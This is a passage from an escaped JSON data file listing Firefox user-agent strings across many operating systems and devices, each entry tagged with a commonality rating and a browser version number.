Firefox\\/51.0\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:56.0) Gecko\\/56.0 Firefox\\/56.0\"},{\"commonality\":\"Average\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:17.0) Gecko\\/17.0 Firefox\\/17.0\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko\\/20100101 Firefox\\/25.0\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:43.0) Gecko\\/43.0 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:17.0) Gecko\\/20100101 Firefox\\/17.0\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/6.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko\\/2012010317 Firefox\\/10.0.1\"},{\"commonality\":\"Average\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:21.0) Gecko\\/20100101 Firefox\\/21.0\"},{\"commonality\":\"Average\",\"version\":\"18.1\",\"ua\":\"Mozilla\\/5.0 (Mobile; ZTEOPEN; rv:18.1) Gecko\\/18.1 Firefox\\/18.1\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:46.0) Gecko\\/46.0 Firefox\\/46.0\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko\\/2009031915 Gentoo Firefox\\/3.0.7\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 7.1.1; Mobile; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Average\",\"version\":\"18.1\",\"ua\":\"Mozilla\\/5.0 (Mobile; ALCATEL ONE TOUCH 4012A; rv:18.1) Gecko\\/18.1 Firefox\\/18.1\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.2; Tablet; rv:43.0) Gecko\\/43.0 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:29.0) Gecko\\/20100101 Firefox\\/29.0\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:23.0) Gecko\\/20100101 Firefox\\/23.0\"},{\"commonality\":\"Average\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko\\/20100101 Firefox\\/17.0\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Android 7.0; Mobile; rv:59.0) Gecko\\/59.0 Firefox\\/59.0\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:38.0) Gecko\\/20100101 Firefox\\/38.0 (IndeedBot 1.1)\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:14.0) Gecko\\/14.0 Firefox\\/14.0\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko\\/20100101 Firefox\\/23.0\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:53.0) Gecko\\/53.0 Firefox\\/53.0\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:55.0) Gecko\\/55.0 Firefox\\/55.0\"},{\"commonality\":\"Average\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:20.0) Gecko\\/20121202 Firefox\\/20.0\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko\\/20100101 Firefox\\/18.0\"},{\"commonality\":\"Average\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko\\/20100101 Firefox\\/28.0\"},{\"commonality\":\"Average\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.5; rv:15.0) Gecko\\/20100101 Firefox\\/15.0.1\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; $LYF\\/$F30C\\/$LYF_F30C-000-09-09-010218; Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko\\/20100115 Firefox\\/3.6\"},{\"commonality\":\"Average\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:22.0) Gecko\\/20100101 Firefox\\/22.0\"},{\"commonality\":\"Average\",\"version\":\"18.1\",\"ua\":\"Mozilla\\/5.0 (Mobile; LG-D300; rv:18.1) Gecko\\/18.1 Firefox\\/18.1\"},{\"commonality\":\"Average\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:6.0) Gecko\\/20100101 Firefox\\/6.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686 on x86_64; rv:24.0; Neustar WPM) Gecko\\/20100101 Firefox\\/24.0\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Maemo; Linux; U; Jolla; Sailfish; Mobile; rv:31.0) Gecko\\/31.0 Firefox\\/31.0 SailfishBrowser\\/1.0\"},{\"commonality\":\"Average\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:29.0) Gecko\\/20100101 Firefox\\/29.0\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:25.0) Gecko\\/20100101 Firefox\\/25.0\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko\\/20100101 Firefox\\/11.0\"},{\"commonality\":\"Average\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:15.0) Gecko\\/20100101 Firefox\\/15.0.1\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.2; Tablet; rv:44.0) Gecko\\/44.0 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Average\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:21.0) Gecko\\/20130401 Firefox\\/21.0\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko\\/20100101 Firefox\\/28.0 (FlipboardProxy\\/1.1; +http:\\/\\/flipboard.com\\/browserproxy)\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:55.0) Gecko\\/55.0 Firefox\\/55.0\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:11.0) Gecko\\/20100101 Firefox\\/11.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Tablet; rv:47.0) Gecko\\/47.0 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Android 7.0; Mobile; rv:55.0) Gecko\\/55.0 Firefox\\/55.0\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko\\/20100101 Firefox\\/35.0 AlexaToolbar\\/alxf-2.21\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:45.0) Gecko\\/45.0 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Average\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko\\/20100101 Firefox\\/13.0.1\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:31.0) Gecko\\/20100101 Firefox\\/31.0\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Average\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:33.0) Gecko\\/20100101 Firefox\\/33.0\"},{\"commonality\":\"Average\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:17.0) Gecko\\/20100101 Firefox\\/17.0\"},{\"commonality\":\"Average\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko\\/20100101 Firefox\\/29.0\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:12.0) Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 7.1.2; Mobile; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:7.0.1) Gecko\\/20100101 Firefox\\/7.0.1\"},{\"commonality\":\"Average\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:17.0) Gecko\\/20100101 Firefox\\/17.0\"},{\"commonality\":\"Average\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko\\/2008052906 Firefox\\/3.0\"},{\"commonality\":\"Average\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Average\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:13.0) Gecko\\/20100101 Firefox\\/13.0\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko\\/20100101 Firefox\\/19.0\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:8.0.1) Gecko\\/20100101 Firefox\\/8.0.1\"},{\"commonality\":\"Average\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko\\/20100101 Firefox\\/17.0\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:54.0) Gecko\\/54.0 Firefox\\/54.0\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/6.0 (Windows NT 7.2; WOW64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Mobile; rv:26.0) Gecko\\/26.0 Firefox\\/26.0\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:31.0) Gecko\\/20100101 Firefox\\/31.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.2; Mobile; rv:45.0) Gecko\\/45.0 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:56.0) Gecko\\/56.0 Firefox\\/56.0\"},{\"commonality\":\"Average\",\"version\":\"1.0\",\"ua\":\"Mozilla\\/5.0 (OS\\/2; U; Warp 4.5; en-US; rv:1.7.12) Gecko\\/20050922 Firefox\\/1.0.7\"},{\"commonality\":\"Average\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko\\/20100101 Firefox\\/13.0.1\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko\\/20100101 Firefox\\/30.0\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko\\/20101203 Firefox\\/3.6.13\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:18.0) Gecko\\/20130119 Firefox\\/18.0\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:58.0) Gecko\\/58.0 Firefox\\/58.0\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:7.0.1) Gecko\\/20100101 Firefox\\/7.0.1\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko\\/20100101 Firefox\\/31.0\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:28.0) Gecko\\/20100101 Firefox\\/28.0\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F61F\\/LYF-F61F-000-01-20-310118; Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko\\/20100721 Firefox\\/3.6.8\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:2.0) Gecko\\/20100101 Firefox\\/4.0\"},{\"commonality\":\"Average\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; NetBSD amd64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; NetBSD amd64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE or Firefox mutant;) Daum 4.1\"},{\"commonality\":\"Average\",\"version\":\"0.10\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko\\/20041001 Firefox\\/0.10.1\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:52.0) Gecko\\/52.0 Firefox\\/52.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F101K\\/LYF_F101K-000-01-30-211217;Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F101K\\/LYF-F101K-000-01-33-120318;Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Average\",\"version\":\"18.1\",\"ua\":\"Mozilla\\/5.0 (Mobile; ALCATELOneTouch4012X; rv:18.1) Gecko\\/18.1 Firefox\\/18.1\"},{\"commonality\":\"Average\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:27.0) Gecko\\/20100101 Firefox\\/27.0\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Average\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:17.0) Gecko\\/20100101 Firefox\\/17.0\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:35.0) Gecko\\/35.0 Firefox\\/35.0\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Android 4.4; Mobile; rv:18.0) Gecko\\/18.0 Firefox\\/18.0\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:19.0) Gecko\\/20100101 Firefox\\/19.0\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Android 5.0; Mobile; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Android 4.4; Mobile; rv:41.0) Gecko\\/41.0 Firefox\\/41.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:10.0.2) Gecko\\/20100101 Firefox\\/10.0.2\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.0; rv:12.0) Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:38.0) Gecko\\/20100101 